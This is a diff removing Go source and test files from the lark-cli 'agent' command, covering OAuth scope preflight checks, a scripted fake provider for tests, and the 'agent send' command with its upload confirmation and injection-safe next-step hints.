-		t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
-	}
-	// Merged hint: existing token scopes ∪ FULL provider RequiredScopes, sorted.
-	wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read fakescoped:agent_chat:write im:message"`
-	if !strings.Contains(ve.Hint, wantScopeArg) {
-		t.Errorf("hint should contain the merged full-scope command %q, got %q", wantScopeArg, ve.Hint)
-	}
-}
-
-// TestPreflightBotSkipped pins that a bot token has no scope list concept, so
-// preflight is skipped entirely regardless of TokenScopes.
-func TestPreflightBotSkipped(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsBot,
-		TokenScopes: nil,
-		Info:        scopedInfo(t),
-	})
-	if err != nil {
-		t.Fatalf("bot identity should skip preflight, got %v", err)
-	}
-}
-
-// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
-// without a scope list) yields nil so the downstream not_configured /
-// need-authorization path owns the error.
-func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsUser,
-		TokenScopes: nil,
-		Info:        scopedInfo(t),
-	})
-	if err != nil {
-		t.Fatalf("no token scope list should return nil, got %v", err)
-	}
-}
-
-// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
-// fakescoped scopes passes the all-or-nothing check.
-func TestPreflightAllScopesPresent(t *testing.T) {
-	if err := preflightScopes(preflightInput{
-		Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Info: scopedInfo(t),
-	}); err != nil {
-		t.Errorf("should pass when all scopes present, got %v", err)
-	}
-}
-
-// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
-// is missing even a single scope fails, and the reported missing set is exactly
-// the scopes it lacks (not just this-verb scopes — the per-verb concept is
-// gone).
-func TestPreflightMissingAnyScopeFails(t *testing.T) {
-	// Missing exactly one scope (attachment) → that one scope is reported.
-	ve := requirePreflightError(t, preflightScopes(preflightInput{
-		Identity: core.AsUser,
-		TokenScopes: []string{
-			"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
-		},
-		Info: scopedInfo(t),
-	}))
-	if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
-		t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
-	}
-
-	// Only the write scope → the other three are all reported.
-	ve = requirePreflightError(t, preflightScopes(preflightInput{
-		Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Info: scopedInfo(t),
-	}))
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
-	}
-}
-
-// ---------------------------------------------------------------------------
-// Command wiring: each verb runs preflight after resolveProvider and before
-// any real API call. The stored-scope read goes through the storedUserScopes
-// seam so no test touches the real keychain; zero httpmock stubs are
-// registered, so any HTTP request would fail the test with a transport error
-// instead of the asserted missing_scope.
-// ---------------------------------------------------------------------------
-
-// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
-func swapStoredScopes(t *testing.T, scopes []string) {
-	t.Helper()
-	old := storedUserScopes
-	storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
-	t.Cleanup(func() { storedUserScopes = old })
-}
-
-// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
-// explicitly set to user so ResolveAs honors it verbatim.
-func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
-	t.Helper()
-	parent := &cobra.Command{Use: "lark-cli"}
-	for _, name := range names {
-		child := &cobra.Command{Use: name}
-		parent.AddCommand(child)
-		parent = child
-	}
-	parent.Flags().String("as", "", "identity")
-	if err := parent.Flags().Set("as", "user"); err != nil {
-		t.Fatal(err)
-	}
-	parent.SetContext(context.Background())
-	return parent
-}
-
-// userFactory builds a test Factory + registry for a user-identity run.
-func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
-	t.Helper()
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	return f, reg
-}
-
-// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
-// holds none of the provider's scopes fails with missing_scope
-// (reporting the full set) and no request.
-func TestSendPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
-		t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
-	}
-}
-
-// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
-// still fails the all-or-nothing check, reporting the three scopes it lacks.
-func TestSendPreflightPartialTokenBlocked(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
-	}
-}
-
-// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
-// scope-free — it succeeds even when the token has none of the provider scopes.
-func TestSendDryRunSkipsPreflight(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
-	})
-	if err != nil {
-		t.Fatalf("--dry-run should not run scope preflight: %v", err)
-	}
-}
-
-// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
-func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
-		t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
-	}
-}
-
-// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
-// (resolveDownload path): it too runs the all-or-nothing preflight before the
-// API call.
-func TestTaskGetArtifactPreflightFires(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-		ArtifactID: "art_1", Output: "out.bin",
-	})
-	ve := requirePreflightError(t, err)
-	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
-		t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
-	}
-}
-
-// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
-func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentTaskListRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
-		Ref: "fakescoped:agt_x", As: "user",
-	})
-	requirePreflightError(t, err)
-}
-
-// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
-// wiring: all three run the all-or-nothing preflight.
-func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
-	runs := []struct {
-		name string
-		run  func(f *cmdutil.Factory) error
-	}{
-		{"list", func(f *cmdutil.Factory) error {
-			return agentContextListRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
-				Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
-			})
-		}},
-		{"get", func(f *cmdutil.Factory) error {
-			return agentContextGetRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
-				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
-			})
-		}},
-		{"delete", func(f *cmdutil.Factory) error {
-			return agentContextDeleteRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
-				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
-			})
-		}},
-	}
-	for _, tc := range runs {
-		t.Run(tc.name, func(t *testing.T) {
-			swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-			f, _ := userFactory(t)
-			requirePreflightError(t, tc.run(f))
-		})
-	}
-}
-
-// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
-// provider scope set lets the real send proceed (the scripted Send hook fires,
-// proving preflight did not false-positive).
-func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
-	swapStoredScopes(t, fakescopedAllScopes)
-	f, _ := userFactory(t)
-	sent := false
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		sent = true
-		return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
-	}})
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	if err != nil {
-		t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
-	}
-	if !sent {
-		t.Fatal("provider.Send should actually be called after preflight passes")
-	}
-}
-
-// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
-// gate (fakescoped card declares task_cancel=false) answers before
-// provider/preflight, so a scope-missing user token yields
-// unsupported_capability, not missing_scope — proving the wired
-// preflight does not change the gate-first ordering.
-func TestTaskCancelPreflightWired(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentTaskCancelRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-	})
-	if err == nil {
-		t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
-	}
-}
-
-// contains reports whether s appears in the slice.
-func contains(ss []string, s string) bool {
-	for _, x := range ss {
-		if x == s {
-			return true
-		}
-	}
-	return false
-}

cmd/agent/register_test.go

@@ -1,10 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// The example provider self-registers via init(); in production it is pulled in
-// by the top-level agent package (blank-imported from cmd/build.go), not by
-// cmd/agent. Several tests here exercise the real example scheme (example:echo /
-// example:reporter), so register it explicitly for the test binary.
-import _ "github.com/larksuite/cli/agent/example"

cmd/agent/scripted_provider_test.go

@@ -1,146 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"sync"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
-// one Provider func field; an unset hook that gets called panics — a tripwire
-// against a test reaching an unexpected provider path. This replaces the old
-// pattern of driving the (removed) real-OAPI adapter through httpmock stubs:
-// the command-layer contracts under test (envelope shape, watch exit codes,
-// meta.next, pretty rendering, error propagation) are provider-neutral.
-type scriptedHooks struct {
-	send             func(in iagent.SendInput) (*iagent.AgentTask, error)
-	getTask          func(taskID string) (*iagent.AgentTask, error)
-	listTasks        func(contextID string) ([]iagent.TaskSummary, error)
-	listContexts     func() ([]iagent.ContextSummary, error)
-	getContext       func(ctxID string) (*iagent.ContextDetail, error)
-	deleteContext    func(ctxID string) error
-	downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
-}
-
-// scripted is the package-level hook set shared by every scripted provider
-// instance (the registry factory cannot be re-pointed per test, the hooks can).
-var scripted scriptedHooks
-
-// setScripted installs the hooks for one test and restores the empty (panic
-// tripwire) set on cleanup.
-func setScripted(t *testing.T, h scriptedHooks) {
-	t.Helper()
-	scripted = h
-	t.Cleanup(func() { scripted = scriptedHooks{} })
-}
-
-// newScriptedProvider builds a scripted *Provider. Its capability surface is
-// fixed by which fields are wired (the framework derives the card from this):
-// CancelTask is deliberately left unwired so task_cancel=false (the command
-// layer's cancel gate is exercised via example:echo); everything else the
-// command tests drive is wired, and FileInput=true so the --file gate/confirm
-// path is reachable. Each wired func delegates to the per-test hook and panics
-// if that hook was not set (tripwire against an unexpected provider path).
-func newScriptedProvider() *iagent.Provider {
-	return &iagent.Provider{
-		Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
-			if scripted.send == nil {
-				panic("scripted provider: Send hook not set")
-			}
-			return scripted.send(in)
-		},
-		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
-			if scripted.getTask == nil {
-				panic("scripted provider: GetTask hook not set")
-			}
-			return scripted.getTask(taskID)
-		},
-		ListTasks: func(ctx context.Context, contextID string) ([]iagent.TaskSummary, error) {
-			if scripted.listTasks == nil {
-				panic("scripted provider: ListTasks hook not set")
-			}
-			return scripted.listTasks(contextID)
-		},
-		ListContexts: func(ctx context.Context) ([]iagent.ContextSummary, error) {
-			if scripted.listContexts == nil {
-				panic("scripted provider: ListContexts hook not set")
-			}
-			return scripted.listContexts()
-		},
-		GetContext: func(ctx context.Context, ctxID string) (*iagent.ContextDetail, error) {
-			if scripted.getContext == nil {
-				panic("scripted provider: GetContext hook not set")
-			}
-			return scripted.getContext(ctxID)
-		},
-		DeleteContext: func(ctx context.Context, ctxID string) error {
-			if scripted.deleteContext == nil {
-				panic("scripted provider: DeleteContext hook not set")
-			}
-			return scripted.deleteContext(ctxID)
-		},
-		DownloadArtifact: func(ctx context.Context, taskID, artifactID string) (*iagent.ArtifactData, error) {
-			if scripted.downloadArtifact == nil {
-				panic("scripted provider: DownloadArtifact hook not set")
-			}
-			return scripted.downloadArtifact(taskID, artifactID)
-		},
-		FileInput: true,
-	}
-}
-
-// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
-// provider, sorted — the all-or-nothing preflight requires every one of these
-// for any real API verb.
-var fakescopedAllScopes = []string{
-	"fakescoped:agent_artifact:read",
-	"fakescoped:agent_attachment:write",
-	"fakescoped:agent_chat:read",
-	"fakescoped:agent_chat:write",
-}
-
-// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
-// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
-const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id（形如 agt_xxx）"
-
-// registerScripted registers the two scripted schemes exactly once (Register
-// panics on duplicates). Like the other fakes they leak into the package-level
-// registry for the remaining tests of this package run — so no test in this
-// package may assert an exact provider set or provider count.
-//
-//   - fakeflow: instance kind, no RequiredScopes (preflight always passes) —
-//     the workhorse for send/task/context command-layer tests.
-//   - fakescoped: same behavior but declares a 4-scope RequiredScopes set, for
-//     the scope-preflight framework tests.
-var registerScriptedOnce sync.Once
-
-func registerScripted() {
-	registerScriptedOnce.Do(func() {
-		iagent.Register("fakeflow", iagent.ProviderInfo{
-			Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
-				return newScriptedProvider(), nil
-			},
-			Label:          "test fake (scripted flow)",
-			AgentRefFormat: "fakeflow:<agent_id>",
-			AgentIDSource:  fakeflowAgentIDSource,
-			Kind:           iagent.KindInstance,
-			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		})
-		iagent.Register("fakescoped", iagent.ProviderInfo{
-			Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
-				return newScriptedProvider(), nil
-			},
-			Label:          "test fake (scoped)",
-			AgentRefFormat: "fakescoped:<agent_id>",
-			AgentIDSource:  "test only",
-			Kind:           iagent.KindInstance,
-			RequiredScopes: fakescopedAllScopes,
-			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		})
-	})
-}

cmd/agent/send.go

@@ -1,341 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"regexp"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// sendOptions holds all inputs for `agent send <ref>`.
-type sendOptions struct {
-	Factory   *cmdutil.Factory
-	Cmd       *cobra.Command
-	Ref       string
-	Text      string
-	Files     []string
-	Params    []string
-	ContextID string
-	TaskID    string
-	DryRun    bool
-	Yes       bool
-	As        string
-	Format    string
-}
-
-// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
-// agent, starting a new task or continuing an existing one. `--dry-run`
-// validates the inputs against the agent Card and prints the request preview
-// without any API call (always available). A send fires and returns the
-// current task immediately; poll progress with
-// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
-// `--file` uploads local files to the remote agent — the content leaves this
-// machine. Risk=write. runF, when non-nil, replaces the production run path
-// (test seam).
-func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
-	opts := &sendOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "send <agent_ref>",
-		Short: "Send a message to a remote agent (start a new task or continue an existing one)",
-		Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
-			"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
-			"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
-			"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
-		Args: exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			if runF != nil {
-				return runF(opts)
-			}
-			return agentSendRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文（必填）")
-	cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径，可重复；文件会被上传到远端 provider（内容离开本机）")
-	cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value，可重复（据 card 的 parameters 决定）")
-	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id（续发同一会话）")
-	cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发（须与 --context-id 一起用）")
-	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览，不调用 API")
-	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端（不加则 exit 10，不上传）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
-	} else {
-		// f is nil only in construction-time unit tests; register a bare --as so
-		// the flag surface is still assertable without a Factory.
-		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-// agentSendRun validates the send inputs, resolves the provider, and either
-// prints a dry-run preview or dispatches the message. The two client-side input
-// guards (empty --text; --task-id without --context-id) run first so they never
-// touch the network and hold even under a nil Factory. A send fires once
-// and returns the current task immediately (exit 0); the caller polls progress
-// via the meta.next `task get ... --watch` hint.
-func agentSendRun(opts *sendOptions) error {
-	if opts.Text == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
-			WithParam("--text").
-			WithHint(`补充 --text "<消息内容>" 后重发`)
-	}
-	if opts.TaskID != "" && opts.ContextID == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--task-id 需与 --context-id 一起使用").
-			WithParam("--task-id").
-			WithHint("--task-id 必须与 --context-id 同时提供")
-	}
-
-	f := opts.Factory
-	// Card lookup + --param validation + --dry-run are API-free:
-	// resolve without a configured client so they work — and surface validation
-	// errors as exit 2 — before the config gate, even when unconfigured.
-	p, _, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-
-	r, err := iagent.ParseRef(opts.Ref)
-	if err != nil {
-		return wrapRefResolveError(err)
-	}
-	card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
-	if err != nil {
-		return err
-	}
-	params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
-	if err != nil {
-		return err
-	}
-
-	in := iagent.SendInput{
-		Text:      opts.Text,
-		Files:     opts.Files,
-		Params:    params,
-		ContextID: opts.ContextID,
-		TaskID:    opts.TaskID,
-	}
-
-	// --dry-run is a client-side behavior: always available, never
-	// gated by the Card's dry_run capability, and never touches the API.
-	if opts.DryRun {
-		return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
-	}
-
-	if len(in.Files) > 0 {
-		// An agent that does not declare file_input cannot take an upload, so
-		// --file against it is unsupported_capability — gated before any network
-		// access, so the user is not told "confirm the upload" for a send that
-		// would be rejected anyway.
-		if !card.Supports(iagent.CapFileInput) {
-			return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
-		}
-		// --file exfiltrates local file content off this machine (the provider
-		// reads the file and uploads it to the remote agent). That is an
-		// irreversible, CLI-enforced high-risk write: a real send that would upload
-		// requires --yes, returning confirmation_required (exit 10) before any
-		// network access. dry-run above is exempt — it never uploads.
-		if !opts.Yes {
-			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
-				"--file 会把本地文件外发上传到远端 agent（内容离开本机，不可撤回）").
-				WithHint("确认要外发这些文件后，加 --yes 重发")
-		}
-	}
-
-	// A real send calls the API, so it needs a configured client; resolve it now
-	// (not_configured / exit 3 here is correct for an actual API call).
-	pc, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-
-	// Local scope preflight: after resolveProvider, before the API call.
-	// The check is all-or-nothing — any real API verb requires the provider's
-	// full scope set.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-
-	task, err := pc.Send(opts.Cmd.Context(), in)
-	if err != nil {
-		return err
-	}
-	normalizeTask(task)
-
-	// A send fires and returns the current task immediately (exit 0). Progress is
-	// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
-	// hint — send no longer blocks on the task reaching a stop condition.
-	return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
-}
-
-// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
-// reconstructed from the validated input, so a caller can inspect exactly what
-// a real send would post without contacting the agent. format=pretty (no --jq)
-// renders the same fields as key: value lines instead of the envelope.
-func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
-	if format == "pretty" && jqExpr(cmd) == "" {
-		out := f.IOStreams.Out
-		fmt.Fprintln(out, "dry_run: true")
-		fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
-		fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
-		if len(in.Files) > 0 {
-			fmt.Fprintf(out, "files: %d\n", len(in.Files))
-		}
-		if len(in.Params) > 0 {
-			fmt.Fprintf(out, "params: %d\n", len(in.Params))
-		}
-		if in.ContextID != "" {
-			fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
-		}
-		if in.TaskID != "" {
-			fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
-		}
-		return nil
-	}
-
-	would := map[string]interface{}{
-		"agent_ref": ref,
-		"text":      in.Text,
-	}
-	if len(in.Files) > 0 {
-		would["files"] = in.Files
-	}
-	if len(in.Params) > 0 {
-		would["params"] = in.Params
-	}
-	if in.ContextID != "" {
-		would["context_id"] = in.ContextID
-	}
-	if in.TaskID != "" {
-		would["task_id"] = in.TaskID
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data: map[string]interface{}{
-			"dry_run":    true,
-			"would_send": would,
-		},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// nextIDPattern is the character whitelist for server-supplied identifiers
-// (task_id / context_id) before they are interpolated into a meta.next command
-// string: letters, digits, '_' and '-' only. It is deliberately stricter than
-// validate.ResourceName — that check is a denylist aimed at URL-path safety and
-// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
-// exactly what matters here: meta.next is defined as "AI executes this
-// verbatim", so a server-controlled id is a command-injection surface.
-var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
-
-// safeNextID reports whether s may be interpolated into a meta.next command.
-func safeNextID(s string) bool {
-	return nextIDPattern.MatchString(s)
-}
-
-// nextRefPattern is the whitelist for a user-supplied ref before it is
-// interpolated into a meta.next command or a hint command string: the
-// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
-// shape ParseRef accepts, further restricted to command-safe characters). A
-// ref is not server-controlled — the threat model is not injection but
-// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
-// be executed verbatim), so a failing ref simply drops the command hint.
-var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
-
-// safeNextRef reports whether ref may be interpolated into a meta.next / hint
-// command string.
-func safeNextRef(ref string) bool {
-	return nextRefPattern.MatchString(ref)
-}
-
-// nextForTask builds the meta.next[] hints for a send result: a terminal task
-// suggests fetching its artifacts / detail, a still-running task the poll
-// command, an input_required task the continue command, and an auth_required
-// task the re-authorize flow (auth login, not a text continuation). AI callers use
-// these to chain the next step without guessing the command shape, so every
-// value interpolated here must pass its whitelist first: the ref (safeNextRef)
-// and the task_id (safeNextID) each suppress the whole hint when they fail
-// (prefer dropping the hint over risking injection); a failing context_id
-// degrades to the <context_id> placeholder,
-// which keeps the hint while interpolating nothing untrusted. A hint whose
-// command carries <...> placeholders is marked Template so callers know it
-// needs substitution before execution.
-func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
-	if !safeNextRef(ref) {
-		return nil
-	}
-	if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
-		return nil
-	}
-	if task.State.ShouldStopPolling() {
-		if task.State == iagent.StateAuthRequired {
-			// auth_required is an agent-side task state — the end user must
-			// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
-			// NOT a text continuation like input_required. Point at the auth
-			// re-authorize flow instead of a text continuation. The concrete scopes are the
-			// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
-			// placeholder → Template. ref/task_id are already whitelisted above, so
-			// echoing the re-check command in the label is safe.
-			return []output.NextAction{{
-				Label:    fmt.Sprintf("完成重新授权后重查任务（据该 agent 所需 scope 定；重查: lark-cli agent task get %s %s）", ref, task.TaskID),
-				Command:  `lark-cli auth login --scope "<required_scopes>"`,
-				Template: true,
-			}}
-		}
-		if task.State == iagent.StateInputRequired {
-			// A send that already needs input: point at the continue command
-			// against the same task/context. The --text value is
-			// always a placeholder, so this hint is a template — which is also why
-			// a missing or whitelist-failing context_id can degrade to the
-			// <context_id> placeholder instead of dropping the hint.
-			ctxID := task.ContextID
-			if ctxID == "" || !safeNextID(ctxID) {
-				ctxID = "<context_id>"
-			}
-			return []output.NextAction{{
-				Label:    "补充输入后向同一任务续发",
-				Command:  fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
-				Template: true,
-			}}
-		}
-		// Terminal: suggest reading the final detail / artifacts.
-		return []output.NextAction{{
-			Label:   "查看任务详情与产物",
-			Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
-		}}
-	}
-	return []output.NextAction{{
-		Label:   "轮询任务直到停轮询条件（有界；到点未终止照此再 watch）",
-		Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
-	}}
-}
-
-// defaultWatchTimeout is the bounded poll window meta.next suggests for a
-// still-running task: a safe default that avoids an unbounded --watch blocking
-// forever on a long task and stops an AI caller from self-hammering. On expiry
-// the poll returns the current state (exit 0) plus a fresh watch hint, so the
-// caller re-watches in segments rather than blocking once. `--watch` used alone
-// (--timeout 0) stays unbounded for backward compatibility.
-const defaultWatchTimeout = 30 * time.Second

cmd/agent/send_test.go

@@ -1,451 +0,0 @@
